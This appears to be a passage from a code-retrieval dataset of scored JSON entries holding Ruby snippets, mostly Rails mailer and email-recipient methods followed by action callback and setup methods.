"text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n #notified << assigned_to if assigned_to && assigned_to.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"title": ""
},
{
"docid": "d4bb2447321b9619310419d72afa2337",
"score": "0.6421137",
"text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n #notified << assigned_to if assigned_to && assigned_to.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"title": ""
},
{
"docid": "d599ff19c6b65eee5b581246e993cd97",
"score": "0.641799",
"text": "def welcome_email(user)\n @user = user\n \n mail(:to => @user.email, :subject => 'Welcome') \n end",
"title": ""
},
{
"docid": "c10665474cbf47cc457e9264ab7c0be4",
"score": "0.64178914",
"text": "def get_test_emails\n res = @user.session.request(\"CakeMail::API::ClassList\", \"GetTestEmails\", { :list_id => @id, \n :user_key => @user.user_key })\n return res['test_email']\n end",
"title": ""
},
{
"docid": "f9901bf2eade9639edbab9c794102da3",
"score": "0.6414651",
"text": "def send_scolding_email\n users_emails = \n subject\n body\n Policer.scolding(users_emails, subject, body).deliver\n end",
"title": ""
},
{
"docid": "080fba10a619126ddd253af5b6b96872",
"score": "0.6409121",
"text": "def emails #:yield:email\n values('EMAIL')\n end",
"title": ""
},
{
"docid": "2ca47af93773a89bc5a33eea7da202ee",
"score": "0.640837",
"text": "def all_emails\n Shelter.select([:email, :name, :created_at]).active +\n User.select([:\"users.email\", :\"shelters.name\", :\"users.created_at\"]).\n joins(:account => :shelters).\n where(:shelters => { :status => \"active\" })\n end",
"title": ""
},
{
"docid": "2a2886c5c63986dde1ebb99e124161e0",
"score": "0.64040583",
"text": "def send_welcome_email\n return if params[:user][:email].blank?\n user = User.yr(@year).where(email: params[:user][:email]).first\n UserMailer.welcome_email(user).deliver_later if user.present?\n end",
"title": ""
},
{
"docid": "a2c77e70c7fb58cd2530f605aef875e2",
"score": "0.6394447",
"text": "def emails(options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "0236448d57c42f988dc0b848ba57e0b0",
"score": "0.63915294",
"text": "def test\n @greeting = \"Hi\"\n\n mail to: \"\"\n end",
"title": ""
},
{
"docid": "bc1cf30f3f89be346000ec4be680269f",
"score": "0.63887864",
"text": "def mails_for(user_or_email)\n if ActionMailer::Base.delivery_method != :test\n raise \"You can only use `mailbox` helper when \" \\\n \"ActionMailer::Base.delivery_method is `:test`\"\n end\n\n email = user_or_email.respond_to?(:email) ?\n user_or_email.email :\n user_or_email\n\n Mailbox.new(email)\n end",
"title": ""
},
{
"docid": "a41c8b5ec792a3531c09da79f951d2c8",
"score": "0.63859606",
"text": "def index\n @mail_users = MailUser.all\n end",
"title": ""
},
{
"docid": "3f1854a2ff9f3812e2b6896c38d37928",
"score": "0.638571",
"text": "def all_entry_users(mail)\n @mail = mail\n @event = @mail.event\n bcc = @event.users.map{|u| u.email}\n \n subject = \"[カンファイン] #{@mail.subject}\"\n\n mail(to: @event.hosting_email, bcc: bcc, subject: subject)\n end",
"title": ""
},
{
"docid": "171b6196e999d053cdc29689795887e5",
"score": "0.6383659",
"text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n notified << approver if approver && approver.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"title": ""
},
{
"docid": "60ee4a52491d512115b4da0fdcbae889",
"score": "0.6382971",
"text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n notified << assignee if assignee && assignee.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"title": ""
},
{
"docid": "60ee4a52491d512115b4da0fdcbae889",
"score": "0.6382971",
"text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n notified << assignee if assignee && assignee.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"title": ""
},
{
"docid": "60ee4a52491d512115b4da0fdcbae889",
"score": "0.6382971",
"text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n notified << assignee if assignee && assignee.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"title": ""
},
{
"docid": "60ee4a52491d512115b4da0fdcbae889",
"score": "0.6382971",
"text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n notified << assignee if assignee && assignee.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"title": ""
},
{
"docid": "2843d36acd73fae800bcf51b702c7263",
"score": "0.6381931",
"text": "def notified_emails\n (\n self.request.params['notified_emails'] ||\n self.request.params['notified_accounts'] ||\n ''\n ).split(',')\n end",
"title": ""
},
{
"docid": "0a91efc143e2499f1edd3c2916eacd23",
"score": "0.6380702",
"text": "def emails\n # Probably want to filter this somehow (but right now there's only like 4\n # emails in the hubbub83 account inbox)\n emails = @gmail.inbox.emails(:after => 1.day.ago)\n # Get the HTML body of an email by doing email.message.body.to_s\n # and a sender by doing email.from[0].name\n # These accessors are probably inelegant, so it might be worth revisiting\n # this code later\n #\n # Problem: the :text field is wrapped in <html> tags, so it'll be invalid\n # markup if we just put it in.\n\n emails.map { |email|\n google_id = email.uid.to_s\n if not GmailMessage.find_by_google_id google_id\n email_message = email.message\n # Hm, some emails have a html_part with the text in it, others just\n # have it in message, not sure why...\n if email_message.html_part.nil?\n email_body_element = email_message.body\n else\n email_body_element = email_message.html_part.body\n end\n # Gmail messages are full HTML documents with <html>, <head>, ...\n # Parse out the stuff inside the <body> tag, and turn it into a string.\n email_body = sanitize(Nokogiri::HTML(email_body_element.to_s).css('body').inner_html)\n # HACK: If email_body is too long, truncate it or Postgres\n # will throw an error.\n truncated_email_body = email_body[0..2455] + '...'\n GmailMessage.create! :from => email.from[0].name,\n :subject => email.subject,\n :text => truncated_email_body,\n :published_at => email.message.date.in_time_zone,\n :google_id => google_id,\n :user => @user\n end\n }.compact\n end",
"title": ""
},
{
"docid": "5df223e914b2751d3d03aef7cee20595",
"score": "0.6378162",
"text": "def test_mail(name, email)\n# format.text\n @user = name\n mail(:to => email,\n :subject => \"Second Test\")\n end",
"title": ""
},
{
"docid": "25e39db48746dee572bfb8de95a1aeca",
"score": "0.63755983",
"text": "def notification_email_addresses(user_who_made_change = nil)\n recipients = [ ]\n\n if user_who_made_change and\n user_who_made_change.receive_notifications?\n recipients << user_who_made_change\n end\n\n recipients += all_related_users.select { |u| u.receive_notifications? }\n\n # remove them if they don't want their own notifications.\n # do it here rather than at start of method in case they're\n # on the watchers list, etc\n if user_who_made_change and\n !user_who_made_change.receive_own_notifications?\n recipients.delete(user_who_made_change)\n end\n\n emails = recipients.map { |u| u.email }\n\n # add in notify emails\n if !notify_emails.blank?\n emails += notify_emails.split(\",\")\n end\n emails = emails.compact.map { |e| e.strip }\n\n # and finally remove dupes\n emails = emails.uniq\n\n return emails\n end",
"title": ""
},
{
"docid": "d594e2cbbf6bc6b31ae120f55eaebabe",
"score": "0.6369863",
"text": "def daily_mailer\n # @user = User.all\n # @user.each do |user|\n # mail(subject: \"Bookersです\", to: user.email)\n # end\n end",
"title": ""
},
{
"docid": "40087c6012ed1eb00f40e4ae6312331b",
"score": "0.6368164",
"text": "def attendee_emails(filter: nil)\n attendees(filter: filter).map(&:email).join(',')\n end",
"title": ""
},
{
"docid": "0dc6ff76fb64387011d3d514ca719199",
"score": "0.63502806",
"text": "def emails #:yield:email\n values(\"EMAIL\")\n end",
"title": ""
},
{
"docid": "0dc6ff76fb64387011d3d514ca719199",
"score": "0.63502806",
"text": "def emails #:yield:email\n values(\"EMAIL\")\n end",
"title": ""
},
{
"docid": "0dc6ff76fb64387011d3d514ca719199",
"score": "0.63502806",
"text": "def emails #:yield:email\n values(\"EMAIL\")\n end",
"title": ""
},
{
"docid": "0dc6ff76fb64387011d3d514ca719199",
"score": "0.63502806",
"text": "def emails #:yield:email\n values(\"EMAIL\")\n end",
"title": ""
},
{
"docid": "d36ca7e2725d4317008a92fa8007c33e",
"score": "0.6350274",
"text": "def recipients\n notified = cm_doc.project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n notified << assignee if assignee && assignee.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"title": ""
},
{
"docid": "29c9db838d340a7d53ef1d4f2b9d88ba",
"score": "0.63455087",
"text": "def index\n @usermails = Usermail.all\n end",
"title": ""
},
{
"docid": "ad60454260d33048c9065e7c603322ba",
"score": "0.63408214",
"text": "def notify_users\n Notification.deliver_interview_complete(User.find(:all).map {|u| u.email unless u.email.blank?}, self)\n end",
"title": ""
},
{
"docid": "35a8e9815220c5730765205135cf73e4",
"score": "0.6339934",
"text": "def index\n @emails = Mail.all\n end",
"title": ""
},
{
"docid": "9627f3ffebeec7c1a61166c8527e0f42",
"score": "0.633703",
"text": "def emails\n @body.match(/[\\w.!#\\$%+-]+@[\\w-]+(?:\\.[\\w-]+)+/)\n end",
"title": ""
},
{
"docid": "ea839a0830dde17cd0e0164c42e3881d",
"score": "0.6329128",
"text": "def send_by_email\n NotificationMailer.notify(self).deliver_now unless email.blank?\n end",
"title": ""
},
{
"docid": "77dc8cab4ee846452b48d2e428f74533",
"score": "0.63286185",
"text": "def notify_users!\n for user in users_without_answers\n UserMailer.deliver_answerable_message_notification(self, user)\n end\n end",
"title": ""
},
{
"docid": "df2098f6fe76b92a1943af92f7873c49",
"score": "0.63257843",
"text": "def emails\n get '/user/emails'\n end",
"title": ""
},
{
"docid": "f138fefedd8c6bbf2bedc05e6939b55f",
"score": "0.6315676",
"text": "def mail_to(addr, subject = nil, body = nil)\n sent_mail.select { |m|\n m.to.include?(addr) && (subject.nil? || subject === m.subject) && (body.nil? || body === m.to_s)\n }\n end",
"title": ""
},
{
"docid": "257afc9d45f259fc9d6a1be7c5686d55",
"score": "0.63124126",
"text": "def mail_password\n email = (params[:user] || {})[:username]\n if email.blank?\n flash[:notice] = \"Enter your email address in the username field.\"\n return\n end\n\n User.find(:all, :conditions => { :email => email }).each do |u|\n Signup::deliver_forgot_password(u)\n end\n\n # tell user it was successful even if we didn't find the user, for security.\n flash[:notice] = \"Mail sent\"\n end",
"title": ""
},
{
"docid": "7c34e847ac29c66d4e02a38d45eb8e2e",
"score": "0.6302775",
"text": "def welcome_mail(user)\n mail(:to => user.email, :subject => \"Thank you so much for registering\")\n end",
"title": ""
},
{
"docid": "c8205b44047c0f0c045c403eb67599ab",
"score": "0.63021827",
"text": "def remind_not_sent_users\n @date = DateTime.new(DateTime.now.year, DateTime.now.month - 1, DateTime.now.day).strftime('%Y-%m')\n @not_sent = User.not_sent_invoices_users @date\n\n @not_sent.each do |user|\n ApplicationMailer.invoices_reminder_mail(user, @date).deliver_now\n end\n\n flash[:success] = 'Enviado email para todos usuários que não enviaram as notas fiscais para o mês anterior.'\n redirect_to '/agent/fiscal'\n end",
"title": ""
},
{
"docid": "68dbd436123ec639ba0b122ac4610116",
"score": "0.6301129",
"text": "def convert_users_to_mandrill_recipients(templates)\n templates.map do |user| \n {:email => user.email}\n end\n end",
"title": ""
},
{
"docid": "d393ad3ddcd2d07d7afb2349a6bc5604",
"score": "0.62982076",
"text": "def send_newsletter_email(user)\n @user = user\n mail(:to => @user.email, :subject => 'Thanks for subscribing to our Newsletter')\n end",
"title": ""
},
{
"docid": "7e6369f252a108e2944283eacd531fb9",
"score": "0.6296256",
"text": "def failed_emails\n email.select {|e| !e[:success] }\n end",
"title": ""
},
{
"docid": "b030337a31058d20ddfdbbd1e28bd4c9",
"score": "0.6292388",
"text": "def mailboxer_email(object)\n #If user has disabled the emails, return nil. \n #return nil if !notify_by_email\n #If user has enabled the emails and has email\n #return \"#{name} <#{email}>\" if email.present?\n return nil\n end",
"title": ""
},
{
"docid": "258ee1074eea0d278bb52dce986bac04",
"score": "0.62890065",
"text": "def send_email_to_list(current_user, users, subject, text)\n @msg_body = text\n to_users = users.map { |u| \"#{u.name} <#{u.email}>\" }.join(', ')\n from = current_user.nil? ? \"wcai-research@wharton.upenn.edu\" : \"#{current_user.name} <#{current_user.email}>\"\n mail(:from => from,\n :to => to_users, :subject => subject)\n end",
"title": ""
},
{
"docid": "6a0acdac68765d1f5f2037e43e18f5c6",
"score": "0.62850446",
"text": "def index\n @received_emails = current_user.received_emails.all\n @sent_emails = current_user.sent_emails.all\n @random_flag = Email.find_by(title: 'FIRST OF THE 5 RANDOM TEXT MAIL KEY IS: randomMails').present?\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2
|
Use callbacks to share common setup or constraints between actions.
|
[
{
"docid": "85e0ccd3130fe88711bc19c341fc0acc",
"score": "0.0",
"text": "def set_quote\n @quote = Quote.find(params[:id])\n end",
"title": ""
}
] |
[
{
"docid": "bd89022716e537628dd314fd23858181",
"score": "0.6163163",
"text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"title": ""
},
{
"docid": "3db61e749c16d53a52f73ba0492108e9",
"score": "0.6045976",
"text": "def action_hook; end",
"title": ""
},
{
"docid": "b8b36fc1cfde36f9053fe0ab68d70e5b",
"score": "0.5946146",
"text": "def run_actions; end",
"title": ""
},
{
"docid": "3e521dbc644eda8f6b2574409e10a4f8",
"score": "0.591683",
"text": "def define_action_hook; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "bfb8386ef5554bfa3a1c00fa4e20652f",
"score": "0.58349305",
"text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "6c8e66d9523b9fed19975542132c6ee4",
"score": "0.5776858",
"text": "def add_actions; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "6ce8a8e8407572b4509bb78db9bf8450",
"score": "0.5652805",
"text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"title": ""
},
{
"docid": "1964d48e8493eb37800b3353d25c0e57",
"score": "0.5621621",
"text": "def define_action_helpers; end",
"title": ""
},
{
"docid": "5df9f7ffd2cb4f23dd74aada87ad1882",
"score": "0.54210985",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "0464870c8688619d6c104d733d355b3b",
"score": "0.53402257",
"text": "def define_action_helpers?; end",
"title": ""
},
{
"docid": "0e7bdc54b0742aba847fd259af1e9f9e",
"score": "0.53394014",
"text": "def set_actions\n actions :all\n end",
"title": ""
},
{
"docid": "5510330550e34a3fd68b7cee18da9524",
"score": "0.53321576",
"text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"title": ""
},
{
"docid": "97c8901edfddc990da95704a065e87bc",
"score": "0.53124547",
"text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"title": ""
},
{
"docid": "4f9a284723e2531f7d19898d6a6aa20c",
"score": "0.529654",
"text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"title": ""
},
{
"docid": "83684438c0a4d20b6ddd4560c7683115",
"score": "0.5296262",
"text": "def before_actions(*logic)\n self.before_actions = logic\n end",
"title": ""
},
{
"docid": "210e0392ceaad5fc0892f1335af7564b",
"score": "0.52952296",
"text": "def setup_handler\n end",
"title": ""
},
{
"docid": "a997ba805d12c5e7f7c4c286441fee18",
"score": "0.52600986",
"text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "1d50ec65c5bee536273da9d756a78d0d",
"score": "0.52442724",
"text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "635288ac8dd59f85def0b1984cdafba0",
"score": "0.5232394",
"text": "def workflow\n end",
"title": ""
},
{
"docid": "e34cc2a25e8f735ccb7ed8361091c83e",
"score": "0.523231",
"text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"title": ""
},
{
"docid": "78b21be2632f285b0d40b87a65b9df8c",
"score": "0.5227454",
"text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "923ee705f0e7572feb2c1dd3c154b97c",
"score": "0.52201617",
"text": "def process_action(...)\n send_action(...)\n end",
"title": ""
},
{
"docid": "b89a3908eaa7712bb5706478192b624d",
"score": "0.5212327",
"text": "def before_dispatch(env); end",
"title": ""
},
{
"docid": "7115b468ae54de462141d62fc06b4190",
"score": "0.52079266",
"text": "def after_actions(*logic)\n self.after_actions = logic\n end",
"title": ""
},
{
"docid": "d89a3e408ab56bf20bfff96c63a238dc",
"score": "0.52050185",
"text": "def setup\n # override and do something appropriate\n end",
"title": ""
},
{
"docid": "62c402f0ea2e892a10469bb6e077fbf2",
"score": "0.51754695",
"text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"title": ""
},
{
"docid": "72ccb38e1bbd86cef2e17d9d64211e64",
"score": "0.51726824",
"text": "def setup(_context)\n end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "1fd817f354d6cb0ff1886ca0a2b6cce4",
"score": "0.5166172",
"text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"title": ""
},
{
"docid": "5531df39ee7d732600af111cf1606a35",
"score": "0.5159343",
"text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"title": ""
},
{
"docid": "bb6aed740c15c11ca82f4980fe5a796a",
"score": "0.51578903",
"text": "def determine_valid_action\n\n end",
"title": ""
},
{
"docid": "b38f9d83c26fd04e46fe2c961022ff86",
"score": "0.51522785",
"text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"title": ""
},
{
"docid": "199fce4d90958e1396e72d961cdcd90b",
"score": "0.5152022",
"text": "def startcompany(action)\n @done = true\n action.setup\n end",
"title": ""
},
{
"docid": "994d9fe4eb9e2fc503d45c919547a327",
"score": "0.51518047",
"text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"title": ""
},
{
"docid": "62fabe9dfa2ec2ff729b5a619afefcf0",
"score": "0.51456624",
"text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "adb8115fce9b2b4cb9efc508a11e5990",
"score": "0.5133759",
"text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"title": ""
},
{
"docid": "e1dd18cf24d77434ec98d1e282420c84",
"score": "0.5112076",
"text": "def setup(&block)\n define_method(:setup, &block)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "f54964387b0ee805dbd5ad5c9a699016",
"score": "0.5106169",
"text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"title": ""
},
{
"docid": "35b302dd857a031b95bc0072e3daa707",
"score": "0.509231",
"text": "def config(action, *args); end",
"title": ""
},
{
"docid": "bc3cd61fa2e274f322b0b20e1a73acf8",
"score": "0.50873137",
"text": "def setup\n @setup_proc.call(self) if @setup_proc\n end",
"title": ""
},
{
"docid": "5c3cfcbb42097019c3ecd200acaf9e50",
"score": "0.5081088",
"text": "def before_action \n end",
"title": ""
},
{
"docid": "246840a409eb28800dc32d6f24cb1c5e",
"score": "0.508059",
"text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"title": ""
},
{
"docid": "dfbcf4e73466003f1d1275cdf58a926a",
"score": "0.50677156",
"text": "def action\n end",
"title": ""
},
{
"docid": "36eb407a529f3fc2d8a54b5e7e9f3e50",
"score": "0.50562143",
"text": "def matt_custom_action_begin(label); end",
"title": ""
},
{
"docid": "b6c9787acd00c1b97aeb6e797a363364",
"score": "0.5050554",
"text": "def setup\n # override this if needed\n end",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.50474834",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.50474834",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "fd421350722a26f18a7aae4f5aa1fc59",
"score": "0.5036181",
"text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"title": ""
},
{
"docid": "d02030204e482cbe2a63268b94400e71",
"score": "0.5026331",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"title": ""
},
{
"docid": "4224d3231c27bf31ffc4ed81839f8315",
"score": "0.5022976",
"text": "def after(action)\n invoke_callbacks *options_for(action).after\n end",
"title": ""
},
{
"docid": "24506e3666fd6ff7c432e2c2c778d8d1",
"score": "0.5015441",
"text": "def pre_task\n end",
"title": ""
},
{
"docid": "0c16dc5c1875787dacf8dc3c0f871c53",
"score": "0.50121695",
"text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"title": ""
},
{
"docid": "c99a12c5761b742ccb9c51c0e99ca58a",
"score": "0.5000944",
"text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"title": ""
},
{
"docid": "0cff1d3b3041b56ce3773d6a8d6113f2",
"score": "0.5000019",
"text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"title": ""
},
{
"docid": "791f958815c2b2ac16a8ca749a7a822e",
"score": "0.4996878",
"text": "def setup_signals; end",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.4989888",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.4989888",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "5aa51b20183964c6b6f46d150b0ddd79",
"score": "0.49864885",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"title": ""
},
{
"docid": "7647b99591d6d687d05b46dc027fbf23",
"score": "0.49797225",
"text": "def initialize(*args)\n super\n @action = :set\nend",
"title": ""
},
{
"docid": "67e7767ce756766f7c807b9eaa85b98a",
"score": "0.49785787",
"text": "def after_set_callback; end",
"title": ""
},
{
"docid": "2a2b0a113a73bf29d5eeeda0443796ec",
"score": "0.4976161",
"text": "def setup\n #implement in subclass;\n end",
"title": ""
},
{
"docid": "63e628f34f3ff34de8679fb7307c171c",
"score": "0.49683493",
"text": "def lookup_action; end",
"title": ""
},
{
"docid": "a5294693c12090c7b374cfa0cabbcf95",
"score": "0.4965126",
"text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"title": ""
},
{
"docid": "57dbfad5e2a0e32466bd9eb0836da323",
"score": "0.4958034",
